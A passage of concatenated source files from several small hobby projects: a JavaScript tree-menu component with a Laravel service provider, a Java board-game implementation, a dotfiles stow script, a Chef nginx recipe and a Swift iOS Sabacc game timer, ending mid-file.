item.classList.remove(this.directionsColors[0]);
}
)
}
}
let turningRight = actualEl.querySelector('.arrow-right:not(.hidden)');
if(turningRight) {
let parentDiv = actualEl.closest('.parentIdItems');
if(!parentDiv) return;
let outgoingParentId = parentDiv.dataset.parentId;
let outgoingParentEl = this.$refs.tree.querySelector('[data-id = "' + outgoingParentId + '"]');
if(!outgoingParentEl){ return }
let findPrevieousLeft = outgoingParentEl.querySelector('.arrow-left:not(.hidden)');
if (turningRight && findPrevieousLeft)
{
let children = childrenGroup.querySelectorAll('.stuff');
children.forEach(item => {
item.classList.add(this.directionsColors[2]);
item.classList.remove(this.directionsColors[1])
})
actualEl.closest('.parentIdItems').querySelectorAll('.stuff').forEach(item =>
{
item.classList.add(this.directionsColors[2], 'last');
item.classList.remove(this.directionsColors[1])
}
)
}
}
},
_getLastStuffColor(actualEl)
{
let parentEl = actualEl.closest('.childrenGroup');
let parentElClasses = parentEl.querySelector('.stuff').classList;
let currentColorToDel;
for(let i=0; i< parentElClasses.length; i++)
{
if(parentElClasses[i].startsWith('bg')) currentColorToDel = parentElClasses[i];
}
let previousSiblingClasses = parentEl.previousElementSibling.querySelector('.stuff').classList;
let previousColor;
for(let i=0; i<previousSiblingClasses.length; i++)
{
if(previousSiblingClasses[i].startsWith('bg')) previousColor = previousSiblingClasses[i];
}
let stuff = parentEl.querySelectorAll('.stuff');
stuff.forEach(item => {
item.classList.remove(currentColorToDel)
item.classList.add(previousColor);
})
},
_buildSmallScreenTree()
{
if(window.innerWidth > 768) return;
this._hideSideArrows();
this._removeBigScreenClasses();
this._setFirstColumnColor();
this._showDownArrows()
},
_openSmScreenChildren(actualEl, childrenGroup, parentId)
{
let myItemsParentIdArr = this.$refs.tree.querySelectorAll('.origin');
let myItemsParentId = false;
myItemsParentIdArr.forEach( (item) => {
if(item.dataset.parentId == parentId) {
myItemsParentId = item;} });
if(!myItemsParentId) return;
myItemsParentId.classList.remove('hidden');
childrenGroup.classList.remove('hidden', 'top-0');
childrenGroup.classList.add('left-0','right-0')
this._paintSmallScreenChild(actualEl, childrenGroup);
let offsetLevels = ['.parentIdItems','.childrenGroup', '#tree' ]
let offsetTop = actualEl.offsetTop;
for (let i = 0; i < offsetLevels.length; i++)
{
offsetTop+= actualEl.closest(offsetLevels[i]).offsetTop;
}
let actualHeight = actualEl.offsetHeight;
actualOffsetTop = offsetTop+actualHeight;
childrenGroup.style.top = actualOffsetTop+"px";
},
_paintSmallScreenChild(actualEl, childrenGroup)
{
let parentEl = actualEl.closest('.childrenGroup');
let parentElClasses = parentEl.querySelector('.stuff').classList;
let currentColorToDel;
for (let i = 0; i < parentElClasses.length; i++) {
if (parentElClasses[i].startsWith('bg')) currentColorToDel = parentElClasses[i];
}
let previousColor;
for (let i = 0; i < parentElClasses.length; i++) {
if (parentElClasses[i].startsWith('bg')) previousColor = parentElClasses[i];
}
let arr = previousColor.split('-');
let colorNumber = Number(arr[2]);
if (colorNumber < 600) {
arr[2] = (colorNumber + 100);
previousColor = arr.join('-');
} else {
previousColor = this.directionsColors[1]
}
//console.log(previousColor)
let stuff = childrenGroup.querySelectorAll('.stuff');
stuff.forEach(item => {
item.classList.remove(currentColorToDel)
item.classList.add(previousColor);
})
},
_removeBigScreenClasses()
{
let childrenGroups = this.$refs.tree.querySelectorAll('.childrenGroup');
//b esides the first child group
for(let i = 1; i< childrenGroups.length; i++)
{
childrenGroups[i].classList.remove('top-0');
childrenGroups[i].classList.add('left-0','right-0');
childrenGroups[i].style.removeProperty('left');
childrenGroups[i].style.removeProperty('padding-top');
let classes = childrenGroups[i].classList;
for(let i=0; i < classes.length; i++)
{
if(classes[i].startsWith('bg')) childrenGroups[i].classList.remove(classes[i])
}
}
}
}
}
<file_sep><?php
namespace App\Providers;
use App\Http\ViewComposers\CategoryTreeComposer;
use Illuminate\Support\ServiceProvider;
use Illuminate\Support\Facades\View;
use App\Models\Category;
class ComposerServiceProvider extends ServiceProvider
{
/**
* Register services.
*
* @return void
*/
public function register()
{
//
}
/**
* Bootstrap services.
*
* @return void
*/
public function boot()
{
// View::composer('partials.categories.treeContainer', function($view) {
// $view->with(['categories' => Category::all()->toArray()]);
// });
view()->composer('partials.categories.treeContainer', CategoryTreeComposer::class);
}
}
| 84b9dcfea771e612d31295fd32b0d7d2eee43984 | [
"JavaScript",
"PHP"
] | 9 | PHP | SergM2014/shopmvc10 | fc87289e7e589f069bd7eeb542257b17483deb8c | 8dbca1e9e88d963a9764b9f79e523fe886f412e1 |
refs/heads/master | <repo_name>Robldibobl/final01<file_sep>/src/assignment/Gamemodes.java
package assignment;
/**
* @author <NAME>
* @version 1.0
*/
public enum Gamemodes {
/**
*
*/
BACKWARD,
/**
*
*/
BARRIER,
/**
*
*/
NOJUMP,
/**
*
*/
TRIPLY
}
<file_sep>/src/assignment/Player.java
package assignment;
/**
* @author <NAME>
* @version 1.0
*/
public class Player {
private Colour colour;
/**
* Constructor of the class Player.
*/
public Player() {
}
/**
* Getter for player colours
*
* @return Returns the colour of a player
*/
public Colour getColour() {
return colour;
}
/**
* Setter for player colours
*
* @param colour Colour of a player
*/
public void setColour(Colour colour) {
this.colour = colour;
}
}
<file_sep>/src/assignment/Game.java
package assignment;
import java.util.ArrayList;
import java.util.List;
/**
* @author <NAME>
* @version 1.0
*/
public class Game {
private int currentRoll;
private int turnCounter = 0;
private Field field;
private Player currentPlayer;
private String current;
private List<String> rolls;
private boolean backward = false;
private boolean barrier = false;
private boolean nojump = false;
private boolean triply = false;
/**
* Constructor of the class Game.
*/
public Game() {
field = new Field();
currentPlayer = new Player();
}
private void turn() {
if (currentPlayer.getColour().equals(Colour.RED)) {
currentPlayer.setColour(Colour.BLUE);
} else if (currentPlayer.getColour().equals(Colour.BLUE)) {
currentPlayer.setColour(Colour.GREEN);
} else if (currentPlayer.getColour().equals(Colour.GREEN)) {
currentPlayer.setColour(Colour.YELLOW);
} else if (currentPlayer.getColour().equals(Colour.YELLOW)) {
currentPlayer.setColour(Colour.RED);
}
currentRoll = 0;
current = currentPlayer.getColour().toString().toLowerCase();
}
private String next() {
turn();
return current;
}
private void possMovesBack(int i, Colour colour, boolean barrier) {
boolean b = true;
for (int h = i; h > i - currentRoll; h--) {
if (h % 40 == field.compareStart(colour).getBoardStart()) {
b = false;
}
}
if (b) {
if (!field.getBoard()[i - currentRoll % 40].getColour().equals(colour)
&& !field.getBoard()[i - currentRoll % 40].getColour().equals(Colour.EMPTY)) {
if (!barrier) {
rolls.add("" + i + "-" + (i - currentRoll % 40));
} else {
for (int j = i - 1; j > i - currentRoll; j--) {
if (field.getBoard()[j % 40].isBarrier()) {
b = false;
}
}
if (field.getBoard()[i].isBarrier() && !field.getBoard()[((i - currentRoll) % 40)]
.getColour().equals(colour) && !field.getBoard()[((i - currentRoll) % 40)]
.getColour().equals(Colour.EMPTY)) {
if (b) {
rolls.add("" + i + "-" + (i - currentRoll % 40));
}
}
}
}
}
}
private void checkPossMovesToDest(int i, int dest, Colour colour, boolean barrier) {
if (!barrier) {
possMovesToDest(i, dest, colour);
} else {
boolean c = true;
for (int j = i; j < i + currentRoll - dest; j++) {
if (field.getBoard()[j % 40].isBarrier()) {
c = false;
}
}
if (c) {
possMovesToDest(i, dest, colour);
}
}
}
private void possMovesToDest(int i, int dest, Colour colour) {
boolean d = true;
if (nojump) {
for (int j = 0; j < dest; j++) {
if (!field.compareDest(colour).getDestination()[j].getColour().equals(Colour.EMPTY)) {
d = false;
}
}
if (d) {
rolls.add(i + "-" + field.getAbcd()[dest] + current.toUpperCase().charAt(0));
}
} else {
if (field.compareDest(colour).getDestination()[dest].getColour().equals(Colour.EMPTY)) {
rolls.add(i + "-" + field.getAbcd()[dest] + current.toUpperCase().charAt(0));
}
}
}
private void possDestMoves(Colour colour) {
boolean b = true;
for (int i = 0; i < 4; i++) {
if (field.compareDest(colour).getDestination()[i].getColour().equals(colour)) {
if (i + currentRoll < 4) {
if (field.compareDest(colour).getDestination()[i + currentRoll].getColour().equals(Colour.EMPTY)) {
if (nojump) {
for (int j = i + 1; j <= i + currentRoll; j++) {
if (!field.compareDest(colour).getDestination()[j].getColour().equals(Colour.EMPTY)) {
b = false;
break;
}
}
if (b) {
rolls.add(field.getAbcd()[i] + current.toUpperCase().charAt(0) + "-"
+ field.getAbcd()[i + currentRoll] + current.toUpperCase().charAt(0));
}
} else {
rolls.add(field.getAbcd()[i] + current.toUpperCase().charAt(0) + "-"
+ field.getAbcd()[i + currentRoll] + current.toUpperCase().charAt(0));
}
}
}
}
}
}
private void possMoves(Colour colour) {
for (int i = 0; i < 40; i++) {
boolean b = true;
boolean c = true;
if (field.getBoard()[i].getColour().equals(colour)) {
if (backward) {
possMovesBack(i, colour, barrier);
}
for (int h = i + 1; h <= i + currentRoll; h++) {
if (h % 40 == field.compareStart(colour).getBoardStart()) {
c = false;
break;
}
}
if (c) {
if (!field.getBoard()[i + currentRoll % 40].getColour().equals(colour)) {
if (!barrier) {
rolls.add("" + i + "-" + (i + currentRoll % 40));
} else {
for (int j = i + 1; j < i + currentRoll + 1; j++) {
if (field.getBoard()[j % 40].isBarrier()) {
c = false;
}
}
if (field.getBoard()[i].isBarrier()) {
if (c) {
rolls.add("" + i + "-" + (i + currentRoll % 40));
}
}
}
} else {
if (!barrier) {
rolls.add("" + i + "-" + (i + currentRoll % 40));
} else {
for (int j = i; j < i + currentRoll; j++) {
if (field.getBoard()[j % 40].isBarrier()) {
c = false;
}
}
if (c) {
if (!field.getBoard()[i + currentRoll % 40].isBarrier()) {
rolls.add("" + i + "-" + (i + currentRoll % 40));
}
}
}
}
} else {
int dest = ((i + currentRoll) % 40) - field.compareStart(colour).getBoardStart();
if (dest <= 4) {
checkPossMovesToDest(i, dest, colour, barrier);
}
}
}
}
possDestMoves(colour);
}
/**
* Starts a game and sets booleans for different game modes. Also sets positions of tokens, if input.
*
* @param optionals String array with parameters
* @return Returns OK, if no exception thrown
* @throws InputException For input format type errors
*/
public String start(String[] optionals) throws InputException {
String[] positions = new String[4];
for (int i = 0; i < 4; i++) {
positions[i] = "";
}
currentPlayer.setColour(Colour.RED);
field.setStart();
if (optionals.length > 1) {
for (int i = 1; i < optionals.length; i++) {
if (optionals[i].equals(Gamemodes.BACKWARD.name())) {
backward = true;
} else if (optionals[i].equals(Gamemodes.BARRIER.name())) {
barrier = true;
} else if (optionals[i].equals(Gamemodes.NOJUMP.name())) {
nojump = true;
} else if (optionals[i].equals(Gamemodes.TRIPLY.name())) {
triply = true;
} else if (optionals[i].contains(",")) {
if (!optionals[i].equals(optionals[optionals.length - 1])) {
throw new InputException("Error, please comply by the input format! If you wish to use "
+ "optional rules or positions, please use this input format: <rules> <positions>");
} else {
positions = optionals[optionals.length - 1].split(";");
field.setPositions(positions);
break;
}
} else {
throw new InputException("Error, wrong input format!");
}
}
}
return "OK";
}
/**
* Collects all allowed movements on the board with the number rolled.
*
* @param param String array with parameters
* @return Returns a list of allowed movements on the board
* @throws InputException For input format type errors
*/
public String roll(String[] param) throws InputException {
Check.checkAmount(param, 1);
Check.checkRoll(param[0]);
currentRoll = Integer.parseInt(param[0]);
rolls = new ArrayList<>();
current = currentPlayer.getColour().toString().toLowerCase();
Colour colour = currentPlayer.getColour();
String output = "";
if (currentRoll != 6) {
if (field.compareStart(colour).getStart() < 4) {
possMoves(colour);
if (rolls.size() == 0) {
return next();
}
} else {
if (triply) {
turnCounter++;
if (turnCounter < 3) {
currentRoll = 0;
return current;
} else {
turnCounter = 0;
return next();
}
} else {
return next();
}
}
} else {
if (field.compareStart(colour).getStart() > 0) {
if (!barrier) {
if (!field.getBoard()[field.compareStart(colour).getBoardStart()].getColour().equals(colour)) {
rolls.add("S" + current.toUpperCase().charAt(0) + "-" + field.compareStart(colour)
.getBoardStart());
} else if (!field.getBoard()[field.compareStart(colour).getBoardStart() + 6].getColour()
.equals(colour)) {
rolls.add(field.compareStart(colour).getBoardStart() + "-" + (field.compareStart(colour)
.getBoardStart() + 6));
} else if (!field.getBoard()[(field.compareStart(colour).getBoardStart() + (2 * 6) % 40)]
.getColour().equals(colour)) {
rolls.add((field.compareStart(colour).getBoardStart() + 6) + "-" + ((field
.compareStart(colour).getBoardStart() + (2 * 6)) % 40));
} else if (!field.getBoard()[((field.compareStart(colour).getBoardStart() + (3 * 6)) % 40)]
.getColour().equals(colour)) {
rolls.add(((field.compareStart(colour).getBoardStart() + (2 * 6)) % 40) + "-"
+ ((field.compareStart(colour).getBoardStart() + (3 * 6)) % 40));
}
} else {
if (!field.getBoard()[field.compareStart(colour).getBoardStart()].getColour().equals(colour)) {
rolls.add("" + "S" + current.toUpperCase().charAt(0) + "-" + field.compareStart(colour)
.getBoardStart());
} else {
int k = field.compareStart(colour).getBoardStart();
for (int j = k; j <= (k + currentRoll); j++) {
if (field.getBoard()[k].isBarrier()) {
return next();
}
}
rolls.add("" + field.compareStart(colour).getBoardStart() + "-"
+ (field.compareStart(colour).getBoardStart() + 6));
}
}
} else {
possMoves(colour);
if (rolls.size() == 0) {
return next();
}
}
}
for (int j = 0; j < rolls.size(); j++) {
output += "" + rolls.get(j) + "\n";
}
output = output.trim();
return output + "\n" + current;
}
/**
* Rolls a random number between 1 and 6 and prints out all possible turns.
*
* @param param String array with parameters
* @return Returns the rolled number
* @throws InputException For input format type errors
*/
public String rollX(String[] param) throws InputException {
Check.checkAmount(param, 0);
String[] result = new String[1];
currentRoll = 1 + (int) (Math.random() * ((6 - 1) + 1));
result[0] = "" + currentRoll;
return roll(result);
}
/**
* Moves a token on the board
*
* @param param String array with parameters
* @return Returns the field where the token was moved to, if successful
* @throws InputException For input format type errors
* @throws RuleException For game rule violations
*/
public String move(String[] param) throws InputException, RuleException {
if (currentRoll == 0) {
throw new RuleException("Error, you first have to roll a number!");
}
Check.checkAmount(param, 2);
turnCounter = 0;
Colour colour = currentPlayer.getColour();
boolean b;
for (int j = 0; j < 2; j++) {
b = !param[j].contains("" + current.toUpperCase().charAt(0));
if (b) {
Check.checkInteger(param[j]);
Check.isField(Integer.parseInt(param[j]));
}
}
String[] possibilities;
for (int m = 0; m < rolls.size(); m++) {
possibilities = rolls.get(m).split("\\W");
if (param[0].equals(possibilities[0])) {
if (param[1].equals(possibilities[1])) {
if (param[0].contains("S")) {
field.moveOut(field.compareStart(colour), field.compareStart(colour).getBoardStart(),
Integer.parseInt(param[1]), colour);
turn();
return param[1] + "\n" + current;
} else if ("ABCD".contains("" + param[0].charAt(0))) {
field.moveDest("" + param[0].charAt(0), currentRoll, colour);
if (currentRoll != 6) {
turn();
return param[1] + "\n" + current;
} else {
return param[1] + "\n" + current;
}
} else {
field.move(field.getBoard(), Integer.parseInt(param[0]), param[1], colour, barrier);
if (field.isWinner()) {
rolls = new ArrayList<>();
Main.setActive(false);
return param[1] + "\n" + current + " winner";
} else {
if (currentRoll != 6) {
turn();
rolls = new ArrayList<>();
return param[1] + "\n" + current;
} else {
rolls = new ArrayList<>();
return param[1] + "\n" + current;
}
}
}
}
}
}
throw new InputException("Error, input does not match with possible movements on the board!");
}
/**
* Prints out the current state of the game and the colour of next turn's player.
*
* @param param String array with parameters
* @return Returns the current state of the game
* @throws InputException For input format type errors
*/
public String print(String[] param) throws InputException {
Check.checkAmount(param, 0);
return field.getPrint() + "\n" + currentPlayer.getColour().toString().toLowerCase();
}
}<file_sep>/src/assignment/Check.java
package assignment;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* @author <NAME>
* @version 1.0
*/
public class Check {
/**
* Checks if input is an integer.
*
* @param input Input
* @throws InputException For input format type errors
*/
public static void checkInteger(String input) throws InputException {
if (!input.matches("\\d*")) {
throw new InputException("Error, please choose a board position!");
}
}
/**
* Checks if input is an integer.
*
* @param input Input
* @return Returns true or throws an exception
* @throws InputException For input format type errors
*/
public static boolean isInteger(String input) throws InputException {
if (!input.matches("\\d*")) {
return false;
} else {
return true;
}
}
/**
* Checks if input is a valid field.
*
* @param input Field position
* @return Returns true or throws and exception
* @throws InputException For input format type errors
*/
public static boolean isField(int input) throws InputException {
if (input < 0 || input > 39) {
throw new InputException("Error, please choose a number between 0 and 39!");
} else {
return true;
}
}
/**
* Checks if rolled number is from 1 to 6.
*
* @param input String array with parameters
* @throws InputException For input format type errors
*/
public static void checkRoll(String input) throws InputException {
try {
Integer.parseInt(input);
} catch (NumberFormatException e) {
throw new InputException("Error, rolled number has to be between 1 and 6!");
}
int roll = Integer.parseInt(input);
if (roll < 1 || roll > 6) {
throw new InputException("Error, rolled number has to be between 1 and 6!");
}
}
/**
* Checks length of parameter array.
*
* @param param Input
* @param n Number of required parameters
* @throws InputException For input format type errors
*/
public static void checkAmount(String[] param, int n) throws InputException {
if (param.length != n) {
throw new InputException("Error, wrong input format!");
}
}
/**
* Checks if a string contains only letters.
*
* @param input Input
* @return Returns true, if string is valid
* @throws InputException For input format type errors
*/
public static boolean checkString(String input) throws InputException {
String temp;
temp = input.replaceAll("\\d+.*", "");
Pattern p = Pattern.compile("[A-Z0-9]");
Matcher m = p.matcher("" + input.charAt(input.length() - 1));
boolean b = m.find();
if (input.equals("")) {
throw new InputException("Error, strings can not be empty!");
}
if (temp.equals(input)) {
if (!input.contains("S")) {
temp = temp.replaceAll("\\W", "");
if (!temp.equals(input)) {
throw new InputException("Error, game mode names only contain letters!");
} else {
return true;
}
} else {
return true;
}
} else if (!b) {
throw new InputException("Error, wrong input format!");
}
return true;
}
/**
* Checks the order and validity of the positions string.
*
* @param pos String array with positions for each colour
* @param colour Colour for respective positions
* @return Returns true or throws exceptions
* @throws InputException For input format type errors
*/
public static boolean checkOrder(String[] pos, char colour) throws InputException {
int[] test = new int[4];
for (int i = 0; i < 4; i++) {
String v = pos[i];
try {
isInteger(v);
if (Integer.parseInt(v) < 0 || Integer.parseInt(v) > 39) {
throw new InputException("Error, wrong input format!");
}
test[i] = Integer.parseInt(v);
} catch (NumberFormatException e) {
if (v.length() != 2 || !("ABCDS").contains(("" + v.charAt(0))) || v.charAt(1) != colour) {
throw new InputException("Error, wrong input format!");
}
test[i] = v.charAt(0);
if (v.charAt(0) == 'S') {
test[i] = -1;
}
}
}
for (int i = 1; i < 4; i++) {
if (test[i] < test[i - 1]) {
throw new InputException("Error, wrong input format!");
}
if (test[i] == test[i - 1] && test[i] != -1) {
throw new InputException("Error, wrong input format!");
}
}
return true;
}
}<file_sep>/src/assignment/Token.java
package assignment;
/**
* @author <NAME>
* @version 1.0
*/
public class Token {
private Colour colour;
private boolean barrier;
/**
* Constructor of the Token class.
*/
public Token() {
this.colour = Colour.EMPTY;
barrier = false;
}
/**
* Getter for a token's colour.
*
* @return Returns token's colour
*/
public Colour getColour() {
return colour;
}
/**
* Setter for a token's colour.
*
* @param colour Token colour
*/
public void setColour(Colour colour) {
this.colour = colour;
}
/**
* Getter for the boolean barrier.
*
* @return Returns barrier
*/
public boolean isBarrier() {
return barrier;
}
/**
* Setter for the boolean barrier.
*
* @param barrier Boolean that describes whether a barrier is intact
*/
public void setBarrier(boolean barrier) {
this.barrier = barrier;
}
}
<file_sep>/src/assignment/Colour.java
package assignment;
/**
* @author <NAME>
* @version 1.0
*/
public enum Colour {
/**
* red token or player colour
*/
RED,
/**
* blue token or player colour
*/
BLUE,
/**
* green token or player colour
*/
GREEN,
/**
* yellow token or player colour
*/
YELLOW,
/**
* empty field on the board
*/
EMPTY
}
| 5e3d331ec716fc7cceb55f4001e9e263fd43d3b1 | [
"Java"
] | 6 | Java | Robldibobl/final01 | 1e0ec6ba2f5ae2009ef171f91e4e00a49add2fde | 5ceebefc3ff3ed27ce14d25baeb9d87853268a9f |
refs/heads/master | <repo_name>mahonbaldwin/dotfiles<file_sep>/homesync
#!/bin/bash
find . -type d -depth 1 \! -name ".git" -print | while read d; do
stow --dotfiles --target="${HOME}" --stow "$(basename $d)"
done
| 2f22573cd507f15492f284948e580fa0369d0ecd | [
"Shell"
] | 1 | Shell | mahonbaldwin/dotfiles | b63819a32f8a9097a6f1887a137a959e140cc820 | dc254c9c40e3911e7bef2ed845591ef37017afc0 |
refs/heads/master | <file_sep>#
# Cookbook Name:: nginx_ng
# Recipe:: default
#
# Copyright 2012, Railslove GmbH
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
if platform?('ubuntu')
apt_repository "phusion" do
action :add
uri "https://oss-binaries.phusionpassenger.com/apt/passenger"
distribution node.lsb.codename #vs node['lsb']['codename']
components ['main']
keyserver "hkp://keyserver.ubuntu.com:80"
key "<KEY>"
end
end
package "passenger"
# not sure if those are needed
# package "apt-transport-https"
# package "ca-certificates"
# package "python-software-properties"
if node[:passenger][:ruby_version].to_s =~ /^2\./
package "nginx-extras"
else
package "nginx-full"
end
execute "remove default site" do
command "rm -rf #{node[:nginx_ng][:dir]}/sites-enabled/default"
only_if { ::File.symlink?("#{node[:nginx_ng][:dir]}/sites-enabled/default") }
end
service "nginx" do
supports :status => true, :restart => true, :reload => true
action [ :enable, :start ]
end
template "/etc/nginx/conf.d/log.conf" do
source "log.conf.erb"
notifies :reload, resources(:service => "nginx"), :delayed
only_if { node[:nginx_ng][:log_formats].any? }
end
file "#{node[:nginx_ng][:dir]}/conf.d/dhparams.pem" do
owner "root"
group "root"
mode "0644"
action :create
content node[:nginx_ng][:dhparams]
notifies :reload, resources(:service => "nginx"), :delayed
only_if { node[:nginx_ng][:dhparams] }
end
| c580874491e2bcbc8757519ef6406ca5749ebe22 | [
"Ruby"
] | 1 | Ruby | schorsch/chef-nginx-ng | 1b8d7bb4cacd0f0a531c9b32ea6942472ccf2cc9 | 3e97803d2ccbf611fefeea4c98f2f5a7fca41858 |
refs/heads/master | <repo_name>kyleisgfy/Sabacc-Timer<file_sep>/Sabacc New/ShiftView.swift
//
// siftView.swift
// Sabacc New
//
// Created by <NAME> on 9/11/16.
// Copyright © 2016 <NAME>›‹. All rights reserved.
//
import UIKit
import AVFoundation
class shiftView: UIViewController {
let systemSoundID: SystemSoundID = 1016
var alarm = AVAudioPlayer()
// ///Buttons
@IBOutlet weak var shiftStackView: UIStackView!
@IBOutlet weak var backButton: UIButton!
@IBAction func returnToTimer(_ sender: AnyObject) {
if((self.presentingViewController) != nil){
alarm.stop()
self.dismiss(animated: true, completion: nil)
}
}
// // Labels // //
var labelArray = Array (repeating: UILabel (), count: playerMgr.players.count)
// // Functions // //
func timeOutTimer () {
print("Time Out has been called.")
timer = Timer.scheduledTimer(timeInterval: TimeInterval(15), target: self, selector: #selector(timeOutOccured), userInfo: nil, repeats: false)
}
func timeOutOccured () {
print("Shift view timed out, loading timer view.")
if((self.presentingViewController) != nil){
alarm.stop()
self.dismiss(animated: true, completion: nil)
}
}
//View Did Load
override func viewDidLoad() {
super.viewDidLoad()
print ("view 3 Did Load")
timeOutTimer()
}
// View Will Appear
override func viewWillAppear(_ animated: Bool) {
print("view 3 Will Appear")
// Creates a label for each player and puts it in the array "labelArray".
// Puts the array in the stack view named "stackViewMain" with append.
// Centers the text of the label.
// Allows the text to be adjusted if it exceeds the length of alotted space for thw label.
// Itterates through the list of labels and sets them to alpha 0.
// This makes them transparent to allow fade in animation.
// Changes the text of each label to the names in the player list.
for index in 0...(playerMgr.players.count - 1) {
let label = UILabel()
labelArray[index] = (label)
labelArray[index].textAlignment = NSTextAlignment.center
labelArray[index].adjustsFontSizeToFitWidth = true
labelArray[index].alpha = 0
labelArray[index].text = "\(playerMgr.players[index].name)"
labelArray[index].frame.size.width = self.view.frame.size.width
self.shiftStackView.addArrangedSubview(labelArray[index])
print("Player \(index+1) created")
}
// Changes the background color of each label to:
// --Green if player DOES NOT SHIFT--
// --Yellow if player SHIFTS ONE CARD--
// --Red if the player SHIFTS TWO CARDS--
for index in 0...(playerMgr.players.count - 1) {
if playerMgr.players[index].shift == false {
self.labelArray[index].backgroundColor = UIColor.green
} else if playerMgr.players[index].modifier == true {
self.labelArray[index].backgroundColor = UIColor.red
} else {
self.labelArray[index].backgroundColor = UIColor.yellow
}
}
}
// View Will Layout Subviews
override func viewWillLayoutSubviews() {
print("view 3 Will Layout Subviews")
isAnimating = false
let path = Bundle.main.path(forResource: "sirenNoise", ofType: "wav")!
let url = URL(fileURLWithPath: path)
do {
let sound = try AVAudioPlayer(contentsOf: url)
alarm = sound
sound.play()
} catch {
// couldn't load file :(
}
}
// View did layout subviews
override func viewDidLayoutSubviews() {
print ("view 3 Did Layout Subviews")
super.viewDidLayoutSubviews()
}
override func viewDidAppear(_ animated: Bool) {
print("view 3 Did Appear")
super.viewDidAppear(animated)
// Animation to fade in labels
// Fades labels in to 40% alpha if they are green and player does not shift.
// Fades labels in to 60% alpha if they are yellow and player shifts one card.
// Fades labels in to 100% alpha if the are red and player shifts two cards.
UIView.animate(withDuration : 2, delay: 0, options: [], animations: {
for index in 0...(playerMgr.players.count - 1) {
self.labelArray[index].alpha = 1
}
// // dynamic transparancy for differnt colors // //
// for index in 0...(playerMgr.players.count - 1) {
// if playerMgr.players[index].shift == false {
// self.labelArray[index].alpha = 1
// } else if playerMgr.players[index].modifier == true {
// self.labelArray[index].alpha = 1
// } else {
// self.labelArray[index].alpha = 1
// }
// }
} , completion: nil )
}
}
<file_sep>/Sabacc New/AppDelegate.swift
//
// AppDelegate.swift
// Sabacc New
//
// Created by <NAME> on 9/8/16.
// Copyright © 2016 <NAME>›‹. All rights reserved.
//
import UIKit
let appDelegate = UIApplication.shared.delegate as! AppDelegate
//let dice: () = appDelegate.diceIsRolled()
//let numberGenerator: () = appDelegate.randomTimeIntervalGenerator()
var timer = Timer()
@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {
var window: UIWindow?
// func diceIsRolled() {
// var i = 0
// var die = 0
// while (i < playerMgr.players.count) {
// die = Int(arc4random_uniform(6)+1)
// playerMgr.players[i].playersCurrentDiceRoll = die
// print("player \(i+1) rolled \(die)")
// if playerMgr.players[i].playersCurrentDiceRoll <= 3 {
// playerMgr.players[i].shift = false
// playerMgr.players[i].modifier = false
// print("...and does not shift this round.")
// } else if playerMgr.players[i].playersCurrentDiceRoll > 5 {
// playerMgr.players[i].shift = true
// playerMgr.players[i].modifier = true
// print("...and shifts two cards this round")
// } else {
// playerMgr.players[i].shift = true
// playerMgr.players[i].modifier = false
// print("...and shifts one card this round")
// }
// i += 1
// }
// }
// func randomTimeIntervalGenerator () {
// var numberOfPlayers:UInt32 = UInt32(playerMgr.players.count)
// numberOfPlayers += 1
// randomTimeInterval = Int(arc4random_uniform(numberOfPlayers*30)+(numberOfPlayers)*60)
// print("Random number generated. Timer will count down from \(randomTimeInterval)")
// }
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {
// Override point for customization after application launch.
return true
}
func applicationWillResignActive(_ application: UIApplication) {
// Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
// Use this method to pause ongoing tasks, disable timers, and throttle down OpenGL ES frame rates. Games should use this method to pause the game.
}
func applicationDidEnterBackground(_ application: UIApplication) {
// Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
// If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
}
func applicationWillEnterForeground(_ application: UIApplication) {
// Called as part of the transition from the background to the inactive state; here you can undo many of the changes made on entering the background.
}
func applicationDidBecomeActive(_ application: UIApplication) {
// Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
}
func applicationWillTerminate(_ application: UIApplication) {
// Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
}
}
<file_sep>/Sabacc New/FirstViewController.swift
//
// FirstViewController.swift
// Sabacc New
//
// Created by <NAME> on 9/8/16.
// Copyright © 2016 <NAME>›‹. All rights reserved.
//
import UIKit
import AVFoundation
class FirstViewController:
UIViewController,
UITextFieldDelegate,
UITableViewDelegate,
UITableViewDataSource {
@IBOutlet var txtName: UITextField!
@IBOutlet var tblNames: UITableView!
var cantinaAudio = AVAudioPlayer()
//UITable View Data Source
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return playerMgr.players.count
}
//Load Data In Table View
override func viewWillAppear(_ animated: Bool){
tblNames.reloadData()
let path = Bundle.main.path(forResource: "cantinaSong", ofType: nil)!
let url = URL(fileURLWithPath: path)
do {
let sound = try AVAudioPlayer(contentsOf: url)
cantinaAudio = sound
sound.play()
} catch {
// couldn't load file :(
}
}
//Delete Names in Table View
func tableView(_ tableView: UITableView, commit editingStyle: UITableViewCellEditingStyle, forRowAt indexPath: IndexPath){
if(editingStyle == UITableViewCellEditingStyle.delete){
playerMgr.players.remove(at: (indexPath as NSIndexPath).row)
tblNames.reloadData()
}
}
//Add Player Gets Pressed
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell: UITableViewCell = UITableViewCell(style: UITableViewCellStyle.subtitle, reuseIdentifier: "test")
cell.textLabel!.text = playerMgr.players[(indexPath as NSIndexPath).row].name
print("player added")
return cell
}
//UITextFieldDelegate
func textFieldShouldReturn(_ textField: UITextField) -> Bool {
playerMgr.addPlayer(txtName.text!)
// self.view.endEditing(true)
txtName.text = ""
tblNames.reloadData()
//textField.resignFirstResponder()
return true
}
// func swipe(gesture : UIGestureRecognizer) {
// print("Swipe Left Invoked")
// }
override func viewDidLoad() {
